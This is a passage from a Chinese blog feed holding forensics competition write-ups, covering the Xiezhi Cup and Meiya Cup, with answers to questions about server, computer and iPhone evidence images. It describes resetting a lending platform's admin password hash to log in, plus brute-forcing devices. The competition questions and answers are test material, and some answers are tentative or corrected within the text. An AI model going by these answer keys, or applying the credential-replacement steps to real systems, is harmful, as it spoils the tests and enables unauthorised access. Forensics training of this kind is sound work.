src="/blog/img/cnblogs/19382365/image-054-e0298879dd.png"/></p><h2 id="_-1"></h2><h2 id="26接上题借贷平台中后台登录的密码额外加密字符串标准格式123abc">26接上题，借贷平台中后台登录的密码额外加密字符串？[标准格式：123ABc+]</h2><p><strong>26XBAmVMs+n_</strong></p><p>密码额外加密字符串是“cfg_adminkey”搜就出来了</p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250412182304034.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-055-4b32648460.png"/></p><h2 id="27借贷平台中一共有多少借款订单标准格式100">27借贷平台中一共有多少借款订单？[标准格式：100]、</h2><p><strong>43</strong></p><p>日志里先找到后台网址，然后翻数据库，可以发现还有两个数据库没翻</p><p>我是翻了第一个发现没啥，再去第二个，不知道有没有一眼看出的方法（进数据库还是要改密，操作同上）翻到后用先前找到的加密方式：</p><p>①：对密码进行一次md5加密</p><p>②：对26XBAmVMs+n_进行一次md5加密</p><p>①②拼接，整体进行一次md5加密</p><p>④：整体进行一次sha1加密</p><p>替换以后登入后台<img alt="assets/Joyooo獬豸杯wp.assets/image-20250412184802196.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-056-1eeb08aabe.png"/>可以看到是43</p><h2 id="28借贷平台中包玉莲的">28借贷平台中"包玉莲"的</h2><h2 id="收款卡号是标准格式1000">收款卡号是？[标准格式：1000]</h2><p><strong>6227001756030083140</strong></p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250412185041063.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-057-576222135d.png"/></p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250412185235322.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-058-dae43297d9.png"/></p><h2 id="29借贷平台中贷款最大限额是多少标准格式100">29借贷平台中贷款最大限额是多少？[标准格式：100]</h2><p><strong>350000</strong></p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250412185309130.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-059-89ecb1f44c.png"/></p><h2 id="30请综合该集群一共有多少个网站数据库标准格式100">30请综合该集群一共有多少个网站数据库？[标准格式：100]</h2><p><strong>7</strong></p><p><img alt="assets/Joyooo獬豸杯wp.assets/image-20250412193041140.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-060-e9d522c7c6.png"/></p><p>要注意：4个是MySQL自带的数据库：</p><p><code>information_schema</code>：存储数据库元数据，如表结构、列信息等。</p><p><code>mysql</code>：核心系统数据库，存储用户权限、数据库配置等关键信息。</p><p><code>performance_schema</code>：用于监控MySQL服务器执行性能。</p><p><code>sys</code> ：提供了一系列方便查询性能和元数据的视图。</p><h1 id="计算机取证">计算机取证</h1><h2 id="计算机-1">计算机-1</h2><p>vm镜像里win+R输入 <code>ipconfig /all</code> 并回车<br/><img alt="assets/2025獬豸杯Joyooo/file-20251014142415944.png" loading="lazy" src="/blog/img/cnblogs/19382365/image-061-fa2ec49709.png"/></p><p>显示的最长的一行取最后六组</p><h2 id="计算机-10">计算机-10</h2><p>火眼里搜索，右键计算哈希取后六位</p><h2 id="计算机-13">计算机-13</h2><p>火眼中找到并导出对应的base.apk</p><p>放入雷电分析器中分析，得到包名</p><h2 id="计算机-14">计算机-14</h2><p>同上雷电中显示未加固</p><p><img alt="image-20250222172823696" loading="lazy"/></p><h2 id="计算机-15">计算机-15</h2><p><img alt="image-20250222172928922" loading="lazy"/></p><h2 id="计算机-16">计算机-16</h2><p>雷电里面打开澳门新葡京，发现设备不符合，打开后台脚本，</p><p>在登录界面的时候，关闭脚本，http抓包，找到后缀为login的</p><p><img alt="image-20250222173300378" loading="lazy"/></p><h2 id="计算机-18">计算机-18</h2><p><img alt="image-20250222173527435" loading="lazy"/></p><p>如图</p><h2 id="计算机-2">计算机-2</h2><p>同1题操作可显示出版本号</p><h2 id="计算机-7">计算机-7</h2><p>上豆包搜索主要的小说平台，第一个就是“起点中文网”</p><h2 id="计算机-6">计算机-6</h2><p>小蒙</p><h1 id="手机取证">手机取证</h1><h2 id="手机-12">手机-12</h2><p>火眼中搜“IMEI1”</p><p>找到后四![</p><p>](C:\Users\LENOVO\AppData\Roaming\Typora\typora-user-images\image-20250222174344932.png)</p><h2 id="手机-13">手机-13</h2><p>自己数</p><h2 id="手机-3">手机-3</h2><p>问豆包</p><h2 id="手机-4">手机-4</h2><p>火眼里面搜sim看到对应记录</p><h2 id="手机-7">手机-7</h2><p>手动爆破</p><h2 id="手机-9">手机-9</h2><p>把该软件考出来下模拟器上，登一下发现不需要</p></div>]]>
    </content>
    <id>https://joyooosama.github.io/blog/2025/12/22/2025-12-22-cnblogs-19382365-2025%E7%8D%AC%E8%B1%B8%E6%9D%AFJoyooo/</id>
    <link href="https://joyooosama.github.io/blog/2025/12/22/2025-12-22-cnblogs-19382365-2025%E7%8D%AC%E8%B1%B8%E6%9D%AFJoyooo/"/>
    <published>2025-12-22T06:46:00.000Z</published>
    <summary>Joyooo獬豸杯wp 服务器取证 1.该集群主节点操作系统版本是？[标准格式：100.100.100] 7.9.2009 火眼扫出来系统信息里发现是 7.9.2009 (Core) 2.该集群创建时间是？[标准格式：0000-00-00T00:00:00Z] 2024-06-24T11:28:12</summary>
    <title>2025獬豸杯Joyooo</title>
    <updated>2025-12-22T06:46:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Joyooo</name>
    </author>
    <category term="取证" scheme="https://joyooosama.github.io/blog/categories/%E5%8F%96%E8%AF%81/"/>
    <category term="取证" scheme="https://joyooosama.github.io/blog/tags/%E5%8F%96%E8%AF%81/"/>
    <category term="CTF" scheme="https://joyooosama.github.io/blog/tags/CTF/"/>
    <category term="生活" scheme="https://joyooosama.github.io/blog/tags/%E7%94%9F%E6%B4%BB/"/>
    <category term="逆向" scheme="https://joyooosama.github.io/blog/tags/%E9%80%86%E5%90%91/"/>
    <content>
      <![CDATA[<div class="blogpost-body cnblogs-markdown" id="cnblogs_post_body"><p>参考了几位大佬的wp复盘，佬们太强力！(☆▽☆)</p><h1 id="美亚杯第十一届中国电子数据取证大赛个人赛线上选择题整理">“美亚杯”第十一届中国电子数据取证大赛个人赛（线上）选择题整理</h1><h2 id="一基础信息与附件">一、基础信息与附件</h2><ul><li><p>比赛名称：“美亚杯”第十一届中国电子数据取证大赛个人赛(线上)</p></li><li><p>比赛规模：共1个段落，98个小题，总共182分</p></li><li><p>本阶段附件：Containerpwd.txt（可下载）、</p></li><li><p>核心检材：冯子超手机资料（FUNG_CC_mobile.zip）、陈民浩手机资料（CHAN_MH.zip）、梁燕玲手机资料（LEUNG_YL_Mobile.zip）、梁燕玲U盘资料（LEUNG_YL_USB.E01）、、、</p></li></ul><h2 id="二选择题按原文题目序号排序">二、选择题（按原文题目序号排序）</h2><h3 id="1-单选题-香港警方接到报案西贡区布袋澳有人持木棍袭击他人警方到达现场发现冯子超头部受伤昏迷身上只有一部智能手机但没有身份证明文件调查后香港警方以伤人罪拘捕了陈民浩陈民浩被捕后保持沉默拒绝交代案情身上搜获一部智能手机冯子超则被送往医院救治警方检查了两人的智能手机并由检验人员进行了检验冯子超的智能手机资料储存在fung_cc_mobilezip文件中而陈民浩的智能手机资料则储存在chan_mhzip文件中警方希望运用你的电子数据检验知识在两个人的智能手机中查找办案线索请你使用chan_mhzip检材回答这个智能手机是什么操作系统">1. [单选题] 香港警方接到报案，西贡区布袋澳有人持木棍袭击他人，警方到达现场发现冯子超头部受伤昏迷，身上只有一部智能手机但没有身份证明文件。调查后香港警方以伤人罪拘捕了陈民浩。陈民浩被捕后保持沉默，拒绝交代案情，身上搜获一部智能手机，冯子超则被送往医院救治。警方检查了两人的智能手机，并由检验人员进行了检验。冯子超的智能手机资料储存在FUNG_CC_mobile.zip文件中，而陈民浩的智能手机资料则储存在CHAN_MH.zip文件中。警方希望运用你的电子数据检验知识，在两个人的智能手机中查找办案线索。请你使用CHAN_MH.zip检材回答：这个智能手机是什么操作系统？</h3><p>A. iOS 17.1.1</p><p>B. iOS 17.2.1</p><p>C. iOS 17.3.1</p><p>D. iOS 17.0.1</p><p>A<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251130150827107.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-001-9741a61e70.png"/></p><h3 id="3-单选题-承上题第2题手机imei组数以下哪一个才是正确的国际移动设备识别码imei号码">3. [单选题] 承上题（第2题：手机IMEI组数），以下哪一个才是正确的国际移动设备识别码(IMEI)号码？</h3><p>A. 357328098205226</p><p>B. 357328097205226</p><p>C. 357328096205226</p><p>D. 357328095205226<br/>A<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251130151318141.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-002-1231f72bab.png"/></p><h3 id="4-单选题-请指出最后使用的使用者身分模组sim的集成电路卡识别码iccid">4. [单选题] 请指出最后使用的使用者身分模组(SIM)的集成电路卡识别码(ICCID)？</h3><p>A. 89852122206020998419</p><p>B. 89852122205020998419</p><p>C. 89852122204020998419</p><p>D. 89852122203020998419<br/>A<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251130151405757.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-003-6e593dbb51.png"/></p><h2 id="5请指出最后使用的apple-id是多少请依照参赛材料中的原文作答注意区分大小写空格及符号">5.请指出最后使用的Apple ID是多少？(请依照参赛材料中的原文作答，注意区分大小写、空格及符号)</h2><p><img alt="图片" loading="lazy" src="/blog/img/cnblogs/19382339/image-004-943ede2789.jpg"/></p><p>最后登录的是这个</p><p>whoishogan@gmail.com</p><p><img alt="assets/2025美亚线下个人Joyooo/file-20251130152944340.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-005-6d6ab6412b.png"/><br/>结果就在压缩包里第一层有个单独的设备信息<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251130153215928.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-006-245494bbe8.png"/><br/>然后热点是通过搜SSID看到了手机的热点密码，然鹅<br/>对于iOS来说是不支持本身改热点名的，热点名就是和设备名保持一直<br/>所以我们只要找设备名就好啦</p><p><img alt="图片" loading="lazy" src="/blog/img/cnblogs/19382339/image-007-601058362b.jpg"/></p><p>就是iPhone</p><h3 id="8-单选题-这个智能手机没有连接过以下哪一个服务集标识符ssid">8. [单选题] 这个智能手机没有连接过以下哪一个服务集标识符(SSID)？</h3><p>A<br/>A. Hongn Home</p><p>B. CMHK</p><p>C. 1010 free wifi</p><p>D. ErrorError<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251130154636932.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-008-eb83429411.png"/><br/><img alt="assets/2025美亚线下个人Joyooo/file-20251130154650881.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-009-77b23a6fa9.png"/><br/>火眼上也能看</p><h3 id="10-单选题-安装了以下哪几个即时通讯软件i-whatsappii-wechatiii-whatsapp-businessiv-qq">10. [单选题] 安装了以下哪几个即时通讯软件？（i) WhatsApp；ii) WeChat；iii) WhatsApp Business；iv) QQ）</h3><p>A. 只有 i) 和 ii)</p><p>B. 只有 i), ii) 和 iii)</p><p>C. 只有 i), ii) 和 iv)</p><p>D. 以上皆是<br/>A<br/>勾选即时通讯类：<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251130154959375.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-010-a3b982efc9.png"/></p><h3 id="11承上题请指出即时通讯软件whatsapp的版本请依照参赛材料中的原文作答注意区分大小写空格及符号">11.承上题，请指出即时通讯软件"WhatsApp"的版本(请依照参赛材料中的原文作答，注意区分大小写、空格及符号)</h3><p><img alt="图片" loading="lazy" src="/blog/img/cnblogs/19382339/image-011-c58fd67877.jpg"/><br/>这边注意要先设置列，展示版本号</p><p>接下来就能看到了，这边写版本号是731647702.0</p><p>然而美亚官方wp说这个不对，不是版本号</p><p>真正的版本号应该去这个软件的配置文件找，去var\mobile\Applications\group.net.whatsapp.WhatsApp.shared\Library\Preferences\</p><p>找group.net.whatsapp.WhatsApp.shared.plist</p><p><img alt="图片" loading="lazy" src="/blog/img/cnblogs/19382339/image-012-db8da74736.jpg"/></p><p>得到版本号应该是2.25.14.79</p><h3 id="12-单选题-陈民浩的手机中总共安装3个文件传输软件封包名称分别为comapplesharingairdropuicomlenovoanysharecomestmobpaprika其中有哪一个软件曾经用来传送接收文件功能">12. [单选题] 陈民浩的手机中，总共安装3个文件传输软件，封包名称分别为com.apple.Sharing.AirDropUI、com.lenovo.anyshare、com.estmob.paprika，其中有哪一个软件曾经用来传送/接收文件功能？</h3><p>A. com.apple.Sharing.AirDropUI</p><p>B. com.lenovo.anyshare</p><p>C. com.estmob.paprika<br/>搜一下发现，除了A都有结果：<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251130155948111.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-013-5af6a1269e.png"/><br/>paprika目录里有文件<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251130160148833.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-014-903fad5eaf.png"/><br/><img alt="assets/2025美亚线下个人Joyooo/file-20251130160209334.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-015-16c0cb0d28.png"/><br/>anyshare更像一个空的<br/>所以C</p><h3 id="13承上题与其有传送接收过资料装置的装置id是多少-请依照参赛材料中的原文作答注意区分大小写空格及符号">13.承上题，与其有传送/接收过资料装置的装置ID是多少? (请依照参赛材料中的原文作答，注意区分大小写、空格及符号)</h3><p>上一题已经确定了是包名为com.estmob.paprika的软件，这种线下从来没遇到过的小众软件只能翻</p><p>在Library文件夹下，我们能发现存在一个realm的数据库文件</p><p><img alt="图片" loading="lazy" src="/blog/img/cnblogs/19382339/image-016-b507a62d36.jpg"/></p><p><img alt="图片" loading="lazy" src="/blog/img/cnblogs/19382339/image-017-ac50a6bbdd.jpg"/></p><p>而且名字很像跟传输有关的样子</p><p>那想看这种realm文件，还得下一个realm studio，当时没做出来，不然能得好多分</p><p><img alt="图片" loading="lazy" src="/blog/img/cnblogs/19382339/image-018-13409ce58b.jpg"/></p><p>这边还有一个问题，就是必须把这个只读给去掉，否则无法打开realm studio</p><p><img alt="图片" loading="lazy" src="/blog/img/cnblogs/19382339/image-019-17bfb2bb08.jpg"/></p><p>打开后界面如图，上来就是设备id</p><p>所以本题答案为5402313593439</p><h3 id="14承上题这个装置名称是请依照参赛材料中的原文作答注意区分大小写空格及符号">14.承上题，这个装置名称是?(请依照参赛材料中的原文作答，注意区分大小写、空格及符号)</h3><p><img alt="图片" loading="lazy" src="/blog/img/cnblogs/19382339/image-020-18931a16c8.jpg"/></p><p>属于就是想给打开realm的智者多加点分，就在刚刚的右边</p><p>Samsung SM-G930F</p><h3 id="15承上题本机装置的装置id是多少请依照参赛材料中的原文作答注意区分大小写空格及符号">15.承上题，本机装置的装置ID是多少?(请依照参赛材料中的原文作答，注意区分大小写、空格及符号)</h3><p>本机ID就是这个手机的设备ID呀</p><p>我们直接去看看这个软件里边的属性表plist文件就好</p><p><img alt="图片" loading="lazy" src="/blog/img/cnblogs/19382339/image-021-582890d7fb.jpg"/></p><p>直接定位device_id就好</p><p>所以答案为3836403626142<br/>（也可以在一开始的那个Device info.txt里找</p><h3 id="16-单选题-承上题第12题文件传输软件陈民浩的手机chan_mh_mobilezip是传送方或是接收方">16. [单选题] 承上题（第12题：文件传输软件），陈民浩的手机(CHAN_MH_mobile.zip)是传送方或是接收方？</h3><p>A. 传送方</p><p>B. 接收方</p><p>C. 传送及接收方<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251130192115353.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-022-1d4630225c.png"/><br/>看到传了四张jpg，在其他检材里搜，发现是  blk0_sda.bin这个手机里<br/>所以是接收方：<br/>B</p><h3 id="17-单选题-根据传送档案的名称判断是以下哪一类型单选">17. [单选题] 根据传送档案的名称，判断是以下哪一类型？（单选）、、</h3><p>A. 屏幕截图</p><p>B. 手机拍摄影片</p><p>C. PDF文件</p><p>D. zip压缩文件</p><p>A名字就是screenshot</p><h3 id="18-单选题-承上题第17题文件类型接收至哪一个装置">18. [单选题] 承上题（第17题：文件类型），接收至哪一个装置？</h3><p>A. CHAN_MH_mobile.zip</p><p>B. blk0_sda.bin</p><p>C. FUNG_CC_mobile.zip</p><p>D. LAM_KH_Mobile.zip</p><p>E. WONG_CW_mobile.zip</p><p>C如16题</p><h3 id="19-单选题-承上题第18题接收装置传送方是通过此文档传输软件的哪个模式作出传送">19. [单选题] 承上题（第18题：接收装置），传送方是通过此文档传输软件的哪个模式作出传送？</h3><p>A. SEND_PARTIALLY</p><p>B. SEND_PAPRIKA</p><p>C. SEND_DIRECTLY</p><p>D. SEND_BYCLOUD</p><p>E. SEND_BLUETOOTH<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251130195502807.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-023-d309cca788.png"/><br/>没太明白为什么在<br/>blk0_sda.bin/分区21/data/com.estmob.android.sendanywhere/databases<br/>这个目录下找main.db<br/>两边的传输软件不是一个，我不知道是怎么想到的。</p><h3 id="20-多选题-从来没有安装以下哪个网络浏览器">20. [多选题] 从来没有安装以下哪个网络浏览器？</h3><p>A. Safari</p><p>B. Chrome</p><p>C. Firefox</p><p>D. edge<br/>一个个搜只找到了safari<br/>所以BCD</p><h3 id="21承上题网络浏览器safari有多少个书签bookmark记录请以阿拉伯数字作答">21.承上题，网络浏览器Safari有多少个书签(Bookmark)记录？(请以阿拉伯数字作答)</h3><p><img alt="图片" loading="lazy" src="/blog/img/cnblogs/19382339/image-024-6c891cacfa.jpg"/></p><p>火眼一把梭<br/>所以一共有9个书签</p><h3 id="22-多选题-承上题第20题未安装浏览器曾经通过safari浏览器用下列哪一个字词进行过搜索">22. [多选题] 承上题（第20题：未安装浏览器），曾经通过Safari浏览器用下列哪一个字词进行过搜索？</h3><p>A. 非法处理尸体最高刑罚</p><p>B. escape room hong kong</p><p>C. cypto wallet</p><p>D. 非法处理尸体<br/>火眼这里过滤：<img alt="assets/2025美亚线下个人Joyooo/file-20251130200044717.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-025-cfd56f763b.png"/><br/><img alt="assets/2025美亚线下个人Joyooo/file-20251130200106730.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-026-fc82b59419.png"/><br/><img alt="assets/2025美亚线下个人Joyooo/file-20251130200128888.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-027-c770dfe5ad.png"/><br/>ABC</p><h3 id="23有多少个图片文件曾经储存到icloud请以阿拉伯数字作答">23.有多少个图片文件曾经储存到iCloud?(请以阿拉伯数字作答)</h3><p>火眼直接看看不见iCloud</p><p>我们必须定位到icloud文件位置</p><p>在\var\mobile\Library\Mobile Documents\com<sub>apple</sub>CloudDocs这边<br/>看到是两张<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251130200520850.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-028-ed400d1d89.png"/></p><h3 id="25请参考参赛材料fung_cc_mobilezip回答以下问题这部智能手机连接过多少个-wi-fi-网络请以阿拉伯数字作答">25.请参考参赛材料FUNG_CC_mobile.zip回答以下问题这部智能手机连接过多少个 Wi-Fi 网络？(请以阿拉伯数字作答)</h3><p>这边这个手机倒是不用爆破，当然直接爆破会了也没啥难的</p><p><img alt="图片" loading="lazy" src="/blog/img/cnblogs/19382339/image-029-5475bd7065.jpg"/></p><p>就连接过俩WiFi<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251130200639868.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-030-ebb0790d52.png"/><br/>答案是2</p><h3 id="26-单选题-请参考参赛材料fung_cc_看到是来按照规划a股mobilezip回答这部智能手机曾经连接过以下哪个无线网络i-three_wifiii-wanchaiiiiiphone2iv-router">26. [单选题] 请参考参赛材料FUNG_CC_看到是来按照规划A股mobile.zip回答：这部智能手机曾经连接过以下哪个无线网络？（i) THREE_WIFI；ii) wanchai；iii)iPhone(2)；iv) Router）</h3><p>A. 只有 i)</p><p>B. 只有 ii) 和 iii)</p><p>C. 只有 ii), iii) 和 iv)</p><p>D. 以上皆是</p><p>B 如上题</p><h5 id="27这部手提手机最早连接非热点wi-fi的时间是什么请以gmt-8时区及以下格式作答-yyyy-mm-dd-hhmmss">27.这部手提手机最早连接(非热点)Wi-Fi的时间是什么？(请以GMT +8时区及以下格式作答: yyyy-MM-dd HH:mm:ss)</h5><p>2025-04-15 19:29:23</p><p>iphone（2）看起来很像热点，所以我们去找wanchai相关在/var/preferences/SystemConfiguration/com.apple.wifi-private-mac-networks.plist 配置文件中可以看到 Wi-Fi 连接的详细信息</p><pre><code>这是一个由 macOS 系统生成的配置文件，用于记录您的苹果设备连接过的、启用了“私有 MAC 地址”功能的 Wi-Fi 网络信息。### 文件概述- **文件名**: `com.apple.wifi-private-mac-networks.plist`  - **文件作用**: 跟踪并管理您的设备在连接不同 Wi-Fi 网络时使用的随机化 MAC 地址（即私有 MAC 地址）。  - **核心功能**: 确保设备在后续连接同一网络时能使用相同的随机 MAC 地址，以平衡隐私保护和网络连接的稳定性。  ### 文件内容概括文件包含一个网络列表，记录了每个网络使用私有 MAC 地址的详细情况。目前列表中有 2 个网络：1. **网络一：iPhone (2)**    - **SSID (网络名称)**: `iPhone (2)`        - **BSSID (路由器MAC)**: `7a:51:d2:3:e5:52`        - **私有 MAC 状态**: **已启用**        - **关键时间点**:            - 首次使用此私有 MAC 连接: `2025-04-15 09:43:40`                - 最后一次加入此网络: `2025-04-15 09:43:40`(与首次为同一次)                - 信息最后更新时间: `2025-05-20 01:43:13`                  2. **网络二：wanchai**    - **SSID (网络名称)**: `wanchai`        - **BSSID (路由器MAC)**: `58:11:22:34:9:c0`        - **私有 MAC 状态**: **已启用**        - **关键时间点**:            - 首次使用此私有 MAC 连接: `2025-04-15 11:29:29`                - 最后一次加入此网络: `2025-05-16 06:22:26`(最近有过连接)                - 信息最后更新时间: `2025-05-20 01:43:13`                  ### 核心信息解读- **私有 MAC 地址 (Private MAC Address)**:    - 这是苹果设备（iPhone, iPad, Mac）从 iOS 14/macOS Big Sur 开始引入的一项**隐私保护功能**。        - 当您连接到一个 Wi-Fi 网络时，设备会生成一个随机的、假的 MAC 地址来代替设备真实的物理 MAC 地址。这样可以防止网络运营者或监听者通过 MAC 地址来跨网络跟踪您的设备。        - **文件存在的意义**:    - 因为每次连接都使用全新的随机地址会很麻烦（某些公共网络可能需要重新认证），所以系统会为每个网络**生成并记住一个固定的随机 MAC 地址**。        - 这个 `.plist`文件就是用来存储这个“映射关系”：对于“SSID A”，就固定使用“随机MAC地址 X”。这样既保护了隐私，又保证了连接便利性。        ### 总结简单来说，这个文件是您设备**启用 Wi-Fi 隐私保护功能的日志和配置记录**。它证明了您的设备在连接 `iPhone (2)`和 `wanchai`这两个网络时，都开启了“私有 MAC 地址”功能，并且系统已经为每个网络生成了专属的、随机的 MAC 地址。文件中的时间戳记录了您何时连接过这些网络，以及系统何时更新过这些私有地址的信息</code></pre><p><img alt="assets/2025美亚线下个人Joyooo/file-20251130201738907.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-031-b386e065d0.png"/><br/><img alt="assets/2025美亚线下个人Joyooo/file-20251130202033791.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-032-cb2f224522.png"/></p><h3 id="30-单选题-相册中有两张图像互换格式图片gifimg_0057gif及img_0062gif请指出由哪一个软件拍摄">30. [单选题] 相册中有两张图像互换格式图片(gif)「IMG_0057.GIF」及「IMG_0062.GIF」，请指出由哪一个软件拍摄？</h3><p>A. Infltr</p><p>B. Discreet</p><p>C. Meitu</p><p>D. Prisma<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251130204525176.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-033-e842353734.png"/><br/>这个在火眼上看，试了试xway但是可能是软件问题没有看到元数据：<img alt="assets/2025美亚线下个人Joyooo/file-20251130204612689.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-034-cb85a69492.png"/></p><h5 id="31单选题曾经以空投airdrop方式成功传送了文件到另外一个装置以下哪一个陈述是正确的">31.[单选题]曾经以空投(AirDrop)方式成功传送了文件到另外一个装置，以下哪一个陈述是正确的？</h5><p>A. 传送了一个图片文件</p><p>B. 传送了两个图片文件</p><p>C. 传送了一个图片文件及一个文件</p><p>D. 传送了一个图片文件及两个文件</p><p>C</p><p>在iPhone上，有一个存储用户人际互动数据的关键数据库文件var\mobile\Library\CoreDuet\People</p><p><img alt="assets/2025美亚线下个人Joyooo/file-20251130205022152.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-035-e774c49f5b.png"/></p><p>导出文件，执行SQL语句筛选一下</p><p>SELECT Z_PK,ZBUNDLEID,ZTARGETBUNDLEID FROM ZINTERACTIONS WHERE ZTARGETBUNDLEID IS NOT NULL;</p><p><img alt="assets/2025美亚线下个人Joyooo/file-20251130210008777.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-036-9be4059c27.png"/><br/><img alt="assets/2025美亚线下个人Joyooo/file-20251130205959491.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-037-85b4c0be1e.png"/></p><h3 id="32原生app相片中有一个图片文件曾经通过空投airdrop方式成功传送请指出这个图片文件的文件全名请包含扩展名依照参赛材料中的原文作答注意区分大小写空格及符号">32.原生APP「相片」中，有一个图片文件曾经通过空投"AirDrop"方式成功传送，请指出这个图片文件的文件全名(请包含扩展名，依照参赛材料中的原文作答，注意区分大小写、空格及符号)</h3><p>原生（照片）说的应该就是自带的照片软件：找一找数据库<img alt="assets/2025美亚线下个人Joyooo/file-20251130210459259.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-038-7fe5fa7780.png"/></p><p>不是很难定位到</p><p>我们直接写MySQL语句里写语句查询</p><p>大概就是从 <code>ZASSET</code>表中，由 <code>ZLASTSHAREDDATE</code>字段不为空来判断，找出所有曾经被共享过的资源，并列出它们的主键ID和文件名</p><pre><code>SELECT Z_PK,ZFILENAME FROM ZASSET WHERE ZLASTSHAREDDATE IS NOT NULL;</code></pre><p><img alt="图片" loading="lazy" src="/blog/img/cnblogs/19382339/image-039-5c4298f99a.jpg"/></p><p>所以是IMG_0083.HEIC</p><h2 id="33承上题请写出这个图片文件的开始传送的日期及时间请以gmt-8时区及以下格式作答-yyyy-mm-dd-hhmmss">33.承上题，请写出这个图片文件的开始传送的日期及时间？(请以GMT +8时区及以下格式作答: yyyy-MM-dd HH:mm:ss)</h2><p>先搜一下文件名<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251130211442718.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-040-1cf48c5b9a.png"/><br/>出现三个，第三个带cloud，先看看<br/>但是没有share相关，在第二个里看到了：<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251130211637203.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-041-c26abfe445.png"/><br/>时间戳转换一下<br/>2025-04-17 09:10:03</p><h2 id="34请指出哪一个多媒体文件同时储存在app文件套件识别码-comappledocumentsapp及app照片套件识别码-comapplemobileslideshow中请包含扩展名依照参赛材料中的原文作答注意区分大小写空格及符号">34.请指出哪一个多媒体文件同时储存在APP「文件」(套件识别码: com.apple.DocumentsApp)及APP「照片」(套件识别码: com.apple.mobileslideshow)中？(请包含扩展名，依照参赛材料中的原文作答，注意区分大小写、空格及符号)</h2><p><code>"文件" APP 的存储目录是/var/mobile/Applications/group.com.apple.FileProvider.LocalStorage/File Provider Storage/</code></p><p><code>"照片" APP 的存储目录是/var/mobile/Media/DCIM/100APPLE/</code><br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201135319879.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-042-570a14207d.png"/><br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201135431999.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-043-947e34341b.png"/><br/>IMG_0008.HEIC和IMG_0010.MOV</p><h2 id="35请指出在app照片套件识别码-comapplemobileslideshow中的图片文件img_0079jpg是由哪一个app拍摄请依照参赛材料中的原文作答注意区分大小写空格及符号">35.请指出在APP「照片」(套件识别码: com.apple.mobileslideshow)中的图片文件「IMG_0079.JPG」是由哪一个APP拍摄？(请依照参赛材料中的原文作答，注意区分大小写、空格及符号)</h2><p><img alt="assets/2025美亚线下个人Joyooo/file-20251201135840359.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-044-ccfa868cbc.png"/><br/>Discreet</p><h3 id="36承上题已知该图片文件是由上述app所拍摄并其后储存在app照片套件识别码-comapplemobileslideshow成img_0079jpg请问该图片的原文件名称-请依照参赛材料中的原文作答注意区分大小写空格及符号">36.承上题，已知该图片文件是由上述APP所拍摄，并其后储存在APP「照片」(套件识别码: com.apple.mobileslideshow)成「IMG_0079.JPG」，请问该图片的原文件名称？ (请依照参赛材料中的原文作答，注意区分大小写、空格及符号)</h3><p>直接在文件系统里搜索Discreet：<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201140346435.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-045-0f7347b49e.png"/><br/>发现是同一张图：<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201140418012.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-046-4c9e72c3f0.png"/><br/>DiscreetCameraApp_1744790959352.png</p><h3 id="37承上题请指出原文件的建立时间请以gmt-8时区及以下格式作答-yyyy-mm-dd-hhmmss">37.承上题，请指出原文件的建立时间？(请以GMT +8时区及以下格式作答: yyyy-MM-dd HH:mm:ss)</h3><p>2025-11-15 10:31:24 <br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201141015617.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-047-eb167347f0.png"/></p><h3 